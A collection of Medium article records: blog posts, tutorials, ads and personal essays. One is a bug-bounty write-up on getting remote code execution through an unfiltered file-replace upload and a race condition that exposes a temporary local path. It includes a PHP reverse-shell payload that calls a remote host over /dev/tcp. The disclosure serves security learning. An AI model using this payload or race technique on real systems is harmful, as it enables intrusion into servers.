Funding Rates: December 05–11, 2020 | In the spirit of complete transparency we continue to publish historical hourly funding data on a weekly basis. Here is the ninth set.
ETHUSD Perpetual
Dec 05–Dec 11, 2020 (time in UTC)
Dec 05–Dec 11, 2020 (time in UTC)
The funding rate is in floating point numeric format. A value at 0.00040000 implies a rate of 0.04% or 4 basis points.
The data is available in csv format in the funding-report github repository.
BTCUSD Perpetual
Dec 05–Dec 11, 2020 (time in UTC)
Dec 05–Dec 11, 2020 (time in UTC)
The data is available in csv format in the funding-report github repository. | https://blog.leverj.io/funding-rates-december-05-11-2020-a4a5f442681c | [] | 2021-01-28 14:03:56.081000+00:00 | ['Historical Data', 'English', 'Charts', 'Rate', 'Funding'] |
Nourishment | Eating or fast, how long to fast for?, Cleaning time, thinking time, meditation time. Eating non-bio food equals to stomach pains, gas, stools, colon pain. Fast equals to light, light body, and sensing own body, sensing each organ of own body. Balance, duality.
And life is going on. Sunshine. | https://medium.com/@mariadpdc/nourishment-70d2ef89d7f6 | ['Maria Del Pilar'] | 2020-12-23 16:00:32.976000+00:00 | ['Gluten Free', 'Health', 'Organic Food', 'Vegan', 'Digestive System'] |
The Cyclical Nature of Spiritual Growth | When You Understand the Patterns of Spiritual Growth You Can Experience Far Greater Results and Peace on Your Journey
Photo by Jeremy Bishop on Unsplash
“Then God said, “Let there be lights in the expanse of the heavens to separate the day from the night, and let them be for signs and for seasons and for days and for years…” Genesis 1:14
“There is an appointed time for everything. And there is a time for every event under heaven. A time to give birth and a time to die; a time to plant and a time to uproot what is planted….” Ecclesiastes 3:1–2
Linear and Cyclical
God designed the physical universe, including our lives, so they are both linear and cyclical.
Linear: The created universe had a definite beginning, approximately 13.75 billion years ago, and it will have an eventual end.
God created all of this, and us individually, with clear purposes in mind that are being worked out according to a divine plan. God’s purposes for this age, will at some point be complete and He will start a new age with a new heaven and new earth.
This life does not go on in never ending cycles, according to the Bible. It is linear, with a beginning and an end.
Cyclical: On this linear path, there are God-given cycles at work. Genesis 1 tells us this was also part of God’s design from the very beginning. One of the reasons for stars and galaxies is for “signs and seasons, days and years.” Signs in the sky, seasons, days, and years are cyclical.
Physical and spiritual growth also happen in cycles. Jesus said the kingdom of God was like a seed planted in the soil that would go through phases as it grows to maturity. He also said that He is the Vine and we are the branches and God would, at times, prune us branches so we would grow more fruit, long-term. (John 15:1–5)
Seasons of growth and seasons of pruning.
To Experience Growth, Work With the Season You are In
One of the main reasons many of us get frustrated in trying to follow God’s plans and is because we don’t recognize which part of the cycle God has us in right now.
If it’s planting season and we’re trying to harvest, we’re going to be frustrated. Or if it’s harvest season and we’re planting, that seed is not going to grow.
There are times to give birth and times to let things die.
There are seasons to plant, water, harvest or even uproot.
There are times to kill plans and outdated strategies, and times to heal and restore so that God-dream can keep going.
Whether its a spiritual growth goal, improving a ministry or a business, or even physically working out it is worth the prayerful reflection needed to step back and see which part of the cycle we’re in right now.
Revelation Cycles
Along with process cycles, like some of the ones I just listed, there are also cycles of godly revelation.
When I first became a Christ-follower I read in the Bible how much God loved me, and I believed it. Despite all kinds of questions I still had about why the world had so much evil and trouble if there is a loving God, I came to believe that God showed His love clearly by His willingness to die for my sins on the cross.
The moment I prayed and asked God to forgive me for all my sins and I received God’s gift of eternal life by faith, I experienced a wonderful measure of God’s love and joy in my own soul. It was real, it was refreshing, and so filled with hope and new life.
But since then, at different times, I’ve had newer and deeper revelations and experiences with God’s love. God’s love is so deep and broad and high and vast, there is no way I can fully grasp it or experience it at one time.
Most of the time these love revelations have come as I read/study/meditate on Scripture. Sometimes it’s come as I hear a song or worship God. I’ve also experienced it in nature or through the attitude and actions of another person.
I experience the love of God, deeper, broader, or in another way. I’ve gone through a fresh cycle of His love.
But then God takes me to another aspect of His life. For that season, I’m learning more deeply about His brilliance and creativity. Another season, it’s His faithfulness and how I can be more faithful. Then, maybe, a fresh encounter with His joy, or peace, or power.
Different levels of revelation that come at different times and in different ways.
Seasons and Cycles Keep It Consistent AND Fresh
Because we can count on seasons being consistent, we have the needed stability to plan and move forward with reliable foundations. We don’t wonder if the sun will rise tomorrow or that summer will follow spring.
Seasons also give us variety and keeps things fresh. Like most of us, I enjoy spring, summer, and fall more than winter. But if it was always summer or always fall, that could get stale for me. Even subtle differences in climates that don’t change much, helps.
Variety being the spice of life has real truth to it.
The same is true with God’s work in our lives. He will emphasize certain things during certain seasons because He knows how we best function.
Recognizing what part of the cycle we’re in and what God is working on during that season allows us to best cooperate with Him and experience the greatest results in our lives.
How do we know what season we’re in? That’s for another article, this one is getting too long. I will write that tomorrow, so if that’s of interest to you, take a look for How to Recognize The Season You’re In.
If you want more FREE resources on how to live a Jesus-Centered, Jesus-Empowered Life take a look at www.TruVineMission.com
If you want more help in clarifying and then accomplishing your God-given purposes, take a look at www.MarkFurlongCoaching.com. | https://medium.com/@mrkfurlong/the-cyclical-nature-of-spiritual-growth-c28c68eaf12c | ['Mark Furlong'] | 2020-12-21 19:58:44.248000+00:00 | ['Spiritual Growth', 'Purpose Driven Life', 'Christianity', 'Purpose Driven Business', 'Jesus'] |
Husband Wife Love Problem Solution In India | Husband wife love problem solutions, husband wife problems are not an enormous thing because it’s the precise thing that where love is pleasing and taking place, then difference of opinion and quarrels also a part of that relationship or of marriage. The reason for this could be no matter which from misinterpretation to love affairs, from embarrassment to fighting, but it is essential to take the correct step after these concern in order to continue to exist the relationship. Our Pandit R. K Shastri will resolve the consequences between husband wives and will provide you a better solution of your problem in frequent and effective in manner in india. | https://medium.com/@gunjanjain268/husband-wife-love-problem-solution-in-india-f45ee1a7153c | [] | 2020-12-21 18:52:37.968000+00:00 | ['Astrology', 'Love', 'Couples'] |
Choosing the right error code 401, 403, or 404 | Selecting the right response to API requests helps secure your application. While it may not seem so on the outside, every unnecessary piece of information makes it easier for an attacker to understand how to gain access. And on the flip side every piece of missing information makes it harder for a consumer of your API to understand the response to an HTTP request.
Here we’ll break down the most common HTTP error responses used for the purposes of API security. When a request is successful, that means that:
The request token uniquely identifies a user correctly
The resource in the request exists
The action on the resource is valid
The user has necessary permission for that action on that resource
Then a successful response status code can be used => 2XX
Fundamentally there are three relevant error codes: 401, 403, 404.
401
401 — indicates that the request has not been applied because it lacks valid authentication credentials for the target resource. The user is not authenticated. (See here for more information on the difference between authentication and authorization). The API requires a valid user, this is determined by the Authorization header in the request. A 401 is the right error code when:
There is no token specified
The token specified is in an invalid format
The token has expired as token contain a window for when they are valid
And in rare cases, the token is valid, but should not be used for this API (also known as the audience)
403
403 — indicates that the server understood the request but refuses to authorize it. The user is not authorized. The user attempted to perform an action, but the token that identified the user does not have sufficient permissions to do that. It’s really helpful to return the permissions that the user is missing so that they can go request them from an admin. Google presents to you a page like this:
404
404 — indicates that the server can’t find the requested resource. Links which lead to a 404 page are often called broken or dead links, and can be subject to link rot. If the url path otherwise known as the resource doesn’t exist, then a 404 is appropriate.
Picking the right error code
That seems easy to handle, and most of the time, they go in order:
Validate Token Verify user permissions Check resource existence
Sometimes 2 and 3 happen in the reverse order depending on what’s easier for the application server. However, when you do this you could be opening your resources up to exposing too much information. What happens if a user doesn’t have access to a resource and that resource exists? 403 seems reasonable. What happens if that resource doesn’t exist? 404?
In that case, without access to a resource, you return different information based on whether that resource exists. A user without permission can start scanning all your endpoints and potential resources searching for existing ones. If those resources could be publicly shareable like Zoom sessions, you could end up with more Zoombombing on your hands.
Instead we should break down 403’s into more nuanced categories. If a user knows about a resource and doesn’t have permission then return a 403. You may still want to share the missing permissions or two to request access from. However, if the user shouldn’t know about the resource, then neither return who to contact, the missing permissions, nor a 403 suggesting that the resource exists. In this case return the 404.
A concrete example is what Authress provides when authorizing users. Your application has resources. Access to those resources is stored in Authress access records. Access records are account specific. If an Authress user from another access asks to read one of your accounts access records, they get a 404. If they ask to see the account info, 404. If they attempt to get a list of users with access to a resource, 404. Under no circumstance do they get any other than a 404, except if they:
Make a request to a list resource. They get an empty array ( [] ) and a 200. (collection endpoints don't return 404)
) and a 200. (collection endpoints don't return 404) Have knowledge of the domain your account is using, then they can successfully access the identity provider configuration.
And that’s about it.
Returning a 403 is great for your actual users, but can start to expose important details of your application. Don’t let potential attackers know which resources exist.
Going further
Want to see how Authress uses error codes to ensure security? Checkout the Authress Management Portal — API section. | https://medium.com/authress/choosing-the-right-error-code-401-403-or-404-930bfdf621ad | ['Warren Parad'] | 2020-07-02 15:26:33.965000+00:00 | ['Application Security', 'Rest Api', 'Api Security', 'Software Development', 'Authorization'] |
Summary of BXY’s Token Distribution Schedule. | Introduction.
Dear Beaxy community,
The purpose of this article is to summarize BXY's token distribution schedule. The article will be updated if there are any changes to the schedule below.
With that being said, all information contained herein is current and reflects the current schedule. The numbers below reflect approximations rounded to the nearest whole number to allow for small variances in distribution.
Token Allocation Summary.
Below is a summary of the token allocation defined prior to platform launch.
Image 1: Token allocation summary.
Note: Almost a third of the supply is vested over a long-term period in either Beaxy’s reserves or under Founder’s agreements.
Distribution Schedule.
Overview.
The chart below represents an overview of the total number of BXY tokens that have been distributed and the number of BXY tokens to be distributed.
Image 2: Overview.
The success of our marketing, bounty and deposit bonus programs meant that we exceeded the allotment of tokens that were earmarked for the aforementioned campaigns, and as such funds were allocated from the reserves to meet our contractual obligations with competition payouts.
Distribution Schedule by Month.
Image 3: Table representing a breakdown of the token distribution by month.
Image 4: A graph of BXY distribution by month.
The table and graph above represents the number of BXY scheduled for distribution between December 2019 and June 2020.
Supply.
As of publishing, the circulating supply of BXY currently stands at approximately 41% of the total supply, with the total supply standing at 500,000,000 BXY as created at the token generation event. | https://medium.com/beaxy-exchange/summary-of-bxys-token-distribution-schedule-72592d4a0349 | [] | 2019-12-03 18:41:04.046000+00:00 | ['Beaxy', 'Cryptocurrency', 'Blockchain'] |
Array Code Challenge Breakdown | The problem statement describes a queue of people waiting for a ride. The queue is represented as an Array . The people in the queue are represented as elements . Each person in the queue is sequentially assigned an integer, starting from 1 at the beginning of the queue. A queue of eight people could be represented like this:
queue = [1, 2, 3, 4, 5, 6, 7, 8]
A person in the queue can bribe the person directly in front of them to switch positions. However, upon switching, both persons retain their sequential identifier, i.e. the integer assigned to that particular index. One person can only bribe the person in front of them two times. If person 5 were to bribe person 4 to switch positions, the queue would then look like this:
queue = [1, 2, 3, 5, 4, 6, 7, 8]
The challenge is to write a program that accepts an Array of integers any length greater than 1 and determines the minimum number of valid bribes which were necessary to produce the numerical order of the Array . The program should print an integer denoting the minimum number of bribes needed to produce the numerical order of the input Array or print Too chaotic if the order is invalid, i.e. it requires a person to have bribed more than 2 people. This solution will be a JavaScript function:
1 function minimumBribes(q) {
2 let swaps = 0
3
4 for (let i = 0; i < q.length; i++) {
5 let bribes = q[i] - (i + 1)
6 let maxAdvance = q[i] - 2 > 0 ? q[i] - 2 : 0
7
8 if (bribes > 2) {
9 console.log('Too chaotic')
10 return
11 }
12
13 for (let j = maxAdvance; j < i; j++) {
14 if (q[j] > q[i]) swaps++
15 }
16 }
17 console.log(swaps)
18 }
19
20 ///////////////////////////////////////////
21
22 const q = [1, 2, 5, 3, 7, 8, 6, 4]
23 minimumBribes(q)
24 // => 7
25
26 ///////////////////////////////////////////
27
28 const q = [5, 1, 2, 3, 7, 8, 6, 4]
29 minimumBribes(q)
30 // => Too chaotic
So, great, this function works, but let’s break it down and understand how. Read on.
The function is declared with the name minimumBribes and given an argument of an Array , in this case represented by the variable q . In the outermost scope, there is a variable named swaps on line 2 , assigned the value of 0 . swaps will act as the counter variable, incrementing by 1 each time a valid bribe and position swap is enacted. On line 17 the console.log() will print out the integer represented by swaps , unless the input array is invalid.
Within the same scope, there is a for loop on line 4 . The conditions of the for loop state that the counter variable i will begin at index 0 (the first element of the Array ) and increment ( i++ ) by 1 as long as i is less than the length of the Array .
Within the scope of the for loop , there are two variables declared, an if statement, and a nested for loop . The first variable, on line 5 , is named bribes , and represents the number of bribes the current person (current element) enacted. This is calculated by subtracting the current position in the queue (or the index of the Array plus 1 . * Array indices begin at 0 ) from the value of the current element being evaluated, or the identifying number of the person in that position.
For example: in the second input example on line 28 , the first element ( q[0] ) value is 5 . Person number 5 minus i + 1 ( 0 + 1 , or 1 , since this is the first iteration of the loop) is equal to 4 . The number 5 had to shift 4 positions towards the front of the line to be in its location, so person 5 made 4 bribes. Now let’s skip ahead to line 8 for a moment.
Upon each iteration of the for loop , the number of bribes is calculated. Then, on line 8 , the if statement evaluates whether the amount of bribes that person made is greater than 2 , invalidating the array. If so, the message Too chaotic is printed to the terminal, and the return statement breaks out of the loop and ends execution of the function.
If the amount of bribes is valid, then the function continues to execute. Let’s jump back to line 6 where there is a variable named maxAdvance , which represents the furthest valid position, 2 spaces ahead, that a person could have advanced through bribery. The value of maxAdvance is determined by the evaluation of a conditional operator. If the original position of the current element (person) minus 2 (spaces) is greater than 0 , then the value of maxAdvance is the current element ( q[i] ) minus 2 . Otherwise, the value of maxAdvance is 0 . The conditional operator essentially makes sure the placeholder cannot become negative, i.e. cannot move beyond the first position in the queue. There has to be a front of the line somewhere.
On line 13 , a nested for loop evaluates any bribes value that is valid, less than 3 . The conditions of the nested for loop state that the counter variable j will begin at the index determined by maxAdvance and increment ( i++ ) by 1 as long as j is less than the current index ( i ) of the outer for loop . In the body of the nested for loop , an if statement evaluates whether the person number (value of Array element) is greater than the number of the next person in the queue. If so, it means that the greater integer must have bribed its way ahead, and the counter established on line 2 , named swaps , is incremented by 1 . This evaluation will occur once or twice, according to the loop conditions, and appropriately increase and record the number of swaps. | https://levelup.gitconnected.com/array-code-challenge-breakdown-8799f903d9cc | ['Dan Romans'] | 2020-03-03 20:12:46.797000+00:00 | ['Hackerrank', 'Algorithms', 'Code Challenge', 'JavaScript', 'Arrays'] |
Single Sided Printed Circuit Board Market: 2017–2022 Detailed Overview, Scope, Trends and Global Industry Growth Forecast Research Report | Single Sided Printed Circuit Board Market: 2017–2022 Detailed Overview, Scope, Trends and Global Industry Growth Forecast Research Report Coherent Market Feb 7, 2019·3 min read
Worldwide Market Reports added Latest Research Report titled “Single Sided Printed Circuit Board Market by Manufacturers, Regions, Product Type and Application, Forecast to 2022” to its Large Report database.
In this report, the global Single Sided Printed Circuit Board market is valued at USD XX million in 2016 and is expected to reach USD XX million by the end of 2022, growing at a CAGR of XX% between 2016 and 2022.
Geographically, this report is segmented into several key Regions, with production, consumption, revenue (million USD), market share and growth rate of Single Sided Printed Circuit Board in these regions, from 2012 to 2022 (forecast), covering
United States
EU
China
Japan
South Korea
Taiwan
Global Single Sided Printed Circuit Board market competition by top manufacturers, with production, price, revenue (value) and market share for each manufacturer; the top players including
AT&S
Ibiden
Nippon Mektron
Sumitomo Electric
Shinko Electric
Unimicron
COMPEQ
Olympic Incorporated
WUS Printed Circuit
Ellington Electronics
GD-Goworld
China Fast Print
Chaohua Tech
CEE
Get Sample Copy : https://www.worldwidemarketreports.com/sample/411
On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split into
Glass Fibre
Metal
Ceramics
Other
On the basis on the end users/applications, this report focuses on the status and outlook for major applications/end users, consumption (sales), market share and growth rate of Single Sided Printed Circuit Board for each application, including
Computer
Telephone Set
Fax Machine
Automotive Electronics
Other
Get Discount : https://www.worldwidemarketreports.com/discount/411
Table of Contents
1 Single Sided Printed Circuit Board Market Overview
2 Global Single Sided Printed Circuit Board Market Competition by Manufacturers
3 Global Single Sided Printed Circuit Board Capacity, Production, Revenue (Value) by Region (2012–2017)
4 Global Single Sided Printed Circuit Board Supply (Production), Consumption, Export, Import by Region (2012–2017)
5 Global Single Sided Printed Circuit Board Production, Revenue (Value), Price Trend by Type
6 Global Single Sided Printed Circuit Board Market Analysis by Application
7 Global Single Sided Printed Circuit Board Manufacturers Profiles/Analysis
8 Single Sided Printed Circuit Board Manufacturing Cost Analysis
9 Industrial Chain, Sourcing Strategy and Downstream Buyers
10 Marketing Strategy Analysis, Distributors/Traders
11 Market Effect Factors Analysis
12 Global Single Sided Printed Circuit Board Market Forecast (2017–2022)
13 Research Findings and Conclusion
14 Appendix
Inquire Before Buying : https://www.worldwidemarketreports.com/quiry/411
About WMR
Worldwide Market Reports is your one-stop repository of detailed and in-depth market research reports compiled by an extensive list of publishers from across the globe. We offer reports across virtually all domains and an exhaustive list of sub-domains under the sun. The in-depth market analysis by some of the most vastly experienced analysts provide our diverse range of clients from across all industries with vital decision making insights to plan and align their market strategies in line with current market trends. Worldwide Market Research’s well-researched inputs that encompass domains ranging from IT to healthcare enable our prized clients to capitalize upon key growth opportunities and shield against credible threats prevalent in the market in the current scenario and those expected in the near future.
Contact Us:
Mr. Shah
Worldwide Market Reports
Tel: +1 415 871 0703
Email: sales@worldwidemarketreports.com
For more News Visit Website: www.coherentwire.com | https://medium.com/@shwetausturge5/single-sided-printed-circuit-board-market-2017-2022-detailed-overview-scope-trends-and-global-e88794feb120 | ['Coherent Market'] | 2019-02-07 08:45:33.761000+00:00 | ['Hardware'] |
Race Condition that could Result to RCE - (A story with an App that temporary stored an uploaded file within 2 seconds before moving it to Amazon S3) | II. THE DETAIL STORY ABOUT THE RCE
At this section, we will try to explain in step by step about how finally we got an RCE.
FYI, we tried to sketch the interface manually as best as we can, so hopefully could help the readers to see the situation.
2.1. Facing the Internal Dashboard — Meet the Upload Function
So, after we got an access into the internal dashboard (will be released later about how we got it), we didn’t stop hunting. At this point, then we tried to look any file upload feature that maybe exist at the app. After few minutes, then we finally found a feature that could be used to publish a news/article via this dashboard. And then, we learn that if every file that we would like to upload to every available section (news/article or anything), then it will be procced by the function called upload.php.
Basically, every available section will have an upload interface like this:
Figure 2 Interface of Upload Feature
Without thinking too much, then we directly upload the simple .php shell again via this feature (previously, it was vulnerable by giving the .phtml extension and fixed. Then we tried to test this feature again). But things aren’t going well, the feature has a protection to filter the .php extension. We tried to combining the extension with upper & lower case (ex: .PhP), also added some number behind the extension (ex: .php3), and tried various way (as far as we know — doubling the extension, null character, added ; character, and more) to bypass the protection, then it failed. We always got this lovely warning.
Figure 3 Protection at the Application
Then we think, how about the stored XSS, such as maybe upload the .html, .xml, or .svg format? Well, this one is successfully uploaded. But then, we realized if the file was moving out into the S3 bucket. Then, what’s the point if we could trigger the XSS but at the S3 bucket domain? Well, since we have no idea to “using” it further, then we assume if this one is not an issue.
2.2. Meet the Second Upload Function, Modify.php
What’s next? After we have no idea about how to “use” the “uploaded” file into the S3 bucket, then we back into first page of “news” section that contain so many forms to be add with the new content.
After looking it carefully, then we realized if there is an “edit” button at the same row with the legitimate file that uploaded into the S3 bucket.
Figure 4 Function Edit / Delete the Uploaded File
At this point, we try to click the “edit” button and trying to see what will happened.
Just as expected, then we will face the upload feature too at this section. At the first time we see it, we think that this form is filtering the .php extension too (since we thought, how can it could be different with the first one?). But, surprisingly, this upload feature doesn’t filter any extension yet.
In short, we could upload the .php file directly without meet any trouble.
Figure 5 Upload Feature to Replacing the Existing File
When our shell has been uploaded, then we try to re-upload the shell and find out the function that used. If this one doesn’t have any filter feature yet, then high possibility if this is the different function as previous. And our assumption is correct. The function that used at this endpoint is “modify.php”, not “upload.php”. Here is the sample request that made with “modify.php”:
Content-Disposition: form-data; name="fileid" 31337 -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="name" picture-1.png -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="description" -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="userfile"; filename="reverse.php" Content-Type: text/php <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'"); -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="save" Save
So, is it finish? So sad, not yet. The .php file is also moving out into the S3 bucket and we can’t do anything with the uploaded file.
2.3. Race Condition to Get the Local Path
To be honest, at that time, we have no idea anymore, until we finally try to send the request multiple times with “null” payloads (via intruder mode at burpsuite). Please kindly don’t ask, why we do that.
Surprisingly, after several request has been made, we got a different response length (somehow need around 10 requests, somehow more than 20–30 requests). If the normal request will result to 1147 response lengths, at one point, it hits 1710 response lengths.
Here is the sample of the “same” multiple request that we did:
Figure 6 Sending Multiple Request with Null Payload
And here is the normal response that we will get normally (1147 response lengths):
Figure 7 Normal Response with 1147 Response Lengths
So, what is the content from the un-normal response length that we got? The good one, it reveals the local path of the file.
Figure 8 The Race Condition has Reveals the Local Path
When we see this result, then finally we thought if we just need to access the path at the browser and waiting for the listener triggering up the shell.
But once again, so sad, it not like that. When access the file via our browser, we got the famous alert, which is: “File not Found”. And if we check the path of the file that has been uploaded, it still showing the S3 bucket location, not the local path that we got from this error.
So, from this execution, we learn if the file is somehow was stored locally around 1–2 seconds before they move it automatically into the S3 bucket.
2.4. Triggering the Shell and Got an RCE
From the last assumption, then there is one thing that come up at our mind: “how if we run the race condition again, and at the same time, we request the local path that we found (from the error result) to our browser to triggering the reverse shell?”
How is it? Finally, this trick works well.
So, we setup the listener at our server -> then try to replacing the existing file at the app with our reverse shell -> conduct the race condition multiple times (1,000 requests could buffer our time) -> take the local path from the different response length from race condition execution -> repeatedly access the path via our browser -> and when the app is hit by the race condition again, then the shell will be triggered into our listener.
Here is the simple flow related the execution:
Figure 9 Flow of the Execution
And here is the simple result from the RCE: | https://infosecwriteups.com/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3 | ['Yoko Kho'] | 2019-12-21 08:57:04.011000+00:00 | ['Infosec', 'Bug Bounty', 'Race Condition', 'File Upload', 'Rce'] |
The Gay Wedding Toast That Brought Straight Men to Tears | “There was hardly a dry eye in the room when my husband finished speaking.”
My husband, Mike, and I were married at noon on May 31, 2014, on the green roof of a Washington DC office building.
The reception took place inside the adjacent, all-glass penthouse conference center. It was a beautiful warm spring day, sunny, 81 degrees, with puffy clouds floating gently in the sky.
There were about a hundred guests for a decidedly-Italian catered luncheon that included an enormous pot of Italian wedding soup that my Mom and I had made together the night before.
Although the wedding was only six years ago, sometimes it feels more like a film I saw twenty years ago.
For months leading up to the wedding, I had been so caught up in the planning that when the day finally came, it flew by.
I’m not saying I was a gay Bridezilla, but if it weren’t for all the wedding photos, I’m sure I couldn’t tell you exactly who was there.
One part I will never forget, however, is how my husband’s speech at the reception brought many of the men (as well as many of the women) in the room to tears.
Honestly, at the time, I didn’t realize how deeply moved people were, but in the years since, I’ve gotten messages from them and their wives, remembering the toast. Like this text message from my cousin after the death of their family dog:
Speaking of their heartbreaking loss she wrote, “It was the only the second time I saw Bill [her husband] cry in 35 years. The first time was at your wedding.”
Her text reminded me that when Mike had given his toast, I looked up and saw my straight personal trainer crying.
At that moment, I realized that whatever I planned to say, however funny or profound, it was not the time. I stood up and mumbled a few words, thanking everyone for coming.
Intuitively, I realized that although nearly every single detail of the wedding had my name on it, this was Mike’s turn to shine. I had no choice but to take a step back and give him the stage.
Collage by author.
All Men Have Daddy Issues
Let’s face it; American culture doesn’t promote the expression of affection between fathers and sons. As a result, many men, straight and gay, grow up longing for more nurturing relationships with their dads and a little less sports and weather talk.
How many men have you heard say, my father never told me he loved me? It’s kinda sad.
I remember blubbering like a baby when I saw Field of Dreams. Never mind that I hate baseball and never had any use for Kevin Costner. My point is, in one way or another, all men have father issues.
Just remember Oedipus.
In my own case, my husband is older than me. Once when we were buying a mattress together, the clueless salesman asked him, “Is the mattress for you or your son?” I nearly died laughing because he’s only 16 years older than I am.
Anyway, in 2014 Mike was 64, making him nearly as old as or older than many of the guests. Mike is also an ex-Marine. There is nothing effeminate about him. Unless told, few people, even other gays, would ever think he’s gay. His voice is low, without a trace of that beautiful lilt that belies many gay men.
Lastly, my husband is a diehard Bob Dylan fan so it was no surprise to me when he quoted him in his toast. The lyrics he quoted were from the song, Tonight I’ll Be Staying Here With You.
For many of the guests, especially the straight men who knew the song, hearing the word’s that Bob Dylan had no doubt written for a woman, said to another man, triggered both nostalgia and a deep-rooted longing for male affection.
After thanking everyone for coming and saying how much it meant to us, he said he wanted to read a quote from Bob Dylan. He noted the fact he had to write it down, which showed how nervous he was.
Pulling a piece of paper from his breast pocket, somehow looking directly at me, he read the first verse:
Is it really any wonder The love that a stranger might receive You cast your spell and I went under I find it so difficult to leave
Then came the second verse, which landed like a knockout punch:
Throw my ticket out the window Throw my suitcase out there, too Throw my troubles out the door I don’t need them anymore ’Cause tonight I’ll be staying here with you
Those who know me know can testify that I am seldom struck speechless. That day I was. Furthermore, I rarely pass up a chance to be the center of attention. That day, I did.
Collage by author.
Marriage is a Promise
Mike and I were together for almost twelve years before gay marriage was made legal in the District of Columbia.
The irony of this story is that I was ambivalent about tying the knot when he first proposed to me. Not because I didn’t love him, but because in my eyes we were already married.
Since I was very young, I’d always known I was different. And I also knew there was nothing wrong with me.
So, for decades I had stopped seeking the approval of society, the government, or even my family, for that matter. When they belatedly got around to bestowing it, I didn’t want to give any of them any credence.
Our marriage, I said, “is built on a promise we made to one another, to love and care for each other, come what may.” We don’t need a court, the Church, our families, or even to have children together to ratify that promise.
Aside from living together, we were not legally bound together in any way.
Even though we don’t always get along perfectly, and sometimes we fight, our marriage has endured because of that promise.
Today I woke up feeling very emotional but also especially grateful for that.
Lately, I’ve been feeling emotional for several reasons, the biggest one being my career. Earlier this year,, I left the security of a job and a paycheck and decided to strike out on my own.
Now, I am preparing to launch a digital content masterclass series that I’ve been working on for months. As the moment of truth approaches, many of my fears and insecurities are in full bloom. To say the least.
At the same time, according to my therapist, the definition of mental health is the ability to have two seemingly contradictory emotions simultaneously, without needing to allow one to invalidate the other.
For me, that means being okay with the anxiety and excitement I feel because I know I am loved. As I am. And for that, I am forever grateful. | https://medium.com/@v2b-iconoclast/the-gay-wedding-toast-that-brought-straight-men-to-tears-fdf94daf02dd | ['Sean Smith'] | 2020-12-15 02:30:02.456000+00:00 | ['Life', 'LGBTQ', 'Family', 'Fatherhood', 'Love'] |
星期五談戀愛：The Fur. | 除了歌詞引用了「I don’t care」橋段以外，更重回吉他流行樂，讓人聽了心情明亮，無比快樂。
Friday, friday I found my love
Right on time
I'm running away with you
Hold hands and jump into another space
Friday is never gonna be the same
Saturday is twisted into the swirl
But I don't care | https://medium.com/elv51/%E6%98%9F%E6%9C%9F%E4%BA%94%E8%AB%87%E6%88%80%E6%84%9B-the-fur-c8e067786578 | [] | 2020-12-29 15:37:01.264000+00:00 | ['Indie Pop', 'Neo City Pop', '音樂', '中文'] |
Why you should start using NestJS | Creating NestJS Product API from Scratch
We will create here a CRUD API for using NestJS. Below is the GitHub link for more control over the project. You can fork it and play around it.
First, install NestJS globally and then create a new project. Check the below command and execute it.
npm i -g @nestjs/cli
$ nest new nest-product-api
Now install dependencies and open the project in visual code.
npm install code .
Now create a product module. The project structure of NestJS is very similar to Angular. We can create modules, controllers in place of components, Services, interceptors, etc. Let's create a product module, controller, and services.
Now add the product module in the root module.
@Module({ imports: [ ProductsModule], controllers: [AppController], providers: [AppService], }) export class AppModule {}
For the demo, we are building the Product API. The product has a product id, product name, product code, and product description. Now create Product data models and a class that implements it. In the class, the constructor accepts product properties and initialize the product.
export class Product implements IProduct { constructor( public prodid: string, public productName: string, public productDesc: string, public prodAddedDate: string, ) {} } export interface IProduct{ prodid?: string | null; productName?: string; productDesc?:string; prodAddedDate?:string }
Import the model in services and create a product service class. Now create an add method that accepts product name, description, added date. The add product method generates product id randomly and returns product id when the product is added successfully.
@Injectable() export class ProductsService { private products: IProduct[] = []; addProduct(productName:string,productDesc:string,productAddedDate:string) { const prodId = Math.random().toString(); let product:IProduct = new Product(prodId,productName,productDesc,productAddedDate); this.products.push(product); return prodId; } }
In the product, the controller adds the following lines of code. NestJS provide inbuilt decorators, Post, and Body.
@Post() addProduct( @Body(‘name’) productName: string, @Body(‘description’) productDesc: string, @Body(‘addedon’) productAddedDate: string, ) { return this.productsService.addProduct(productName,productDesc,productAddedDate) }
Now when we insert some records, we will get record ids. Now time to get all products and a specific product.
For getting all products we can return a piece of products.
getProducts() { return of([…this.products]); }
For getting a specific product we will write a get query. The user will provide id and search it and return the response.
getProductById(productId: string) { console.log(productId); let index = this.products.findIndex(p=>p.prodid===productId); let searchProduct = index == 0 || index >0 ? this.products[index] : {} return of(searchProduct); }
To update the product search by product id and then update the record.
updateProduct(productId: string, productName: string, productDesc: string, prodAddedDate: string) { const index = this.products.findIndex(p=>p.prodid===productId); var product :IProduct; if(index == 0 || index >0) { product = { productName: productName, productDesc: productDesc,prodAddedDate: prodAddedDate} this.products[index]= product; } return of(product); }
For delete check the product by product id and splice from products.
deleteProduct(productId: string) { const index = this.products.findIndex(p=>p.prodid===productId); return of(this.products.splice(index, 1)); }
The complete product controller and services will look like this:
Postman request and response | https://medium.com/coding-in-depth/why-you-should-start-using-nestjs-ffb3fd3b8451 | ['Coding In Depth'] | 2020-09-11 21:08:17.436000+00:00 | ['Nestjs', 'Nestjs Tutorial', 'Nodejs', 'API', 'Architecture'] |
A Message to Sam Pancake From a Gay Elder: Thank You! | O n behalf of geezers everywhere, thank you. Though I think of myself more as a gayzer — a gay-geezer — that came out before Stonewall.
I am very aware of the gay agism you reference and try not to buy into it. That’s one reason I live in South Florida: businesses cater to my demographic. Even so, I would limit references to gaygism (gay+agism). The double-entendre might not be taken well. A bit over the top, or more likely over the bottom and under the top. But I digress.
Nevertheless, bravo for having the courage to come out, with all it cost you. And kudos for your bravery in coming out when you did, having to deal with all the mess that you had nothing, nothing, nothing to do with. I appreciate your anger with the young man who doesn’t want to grow old or grow up. Consider the possibility that his fear and your anger are two sides of the same coin. You have faced your fears, he is young. And to both of you, I say:
I’m sorry.
The article says you are 51. Men are so cute at that age. If my math is correct, you were born in 1969, the year I graduated high school as well as the year of Stonewall. When I was 51, I had already been positive for 20 years. I had survived the terror and suffering of the epidemic years and entered into the detente brought by the protease inhibitors.
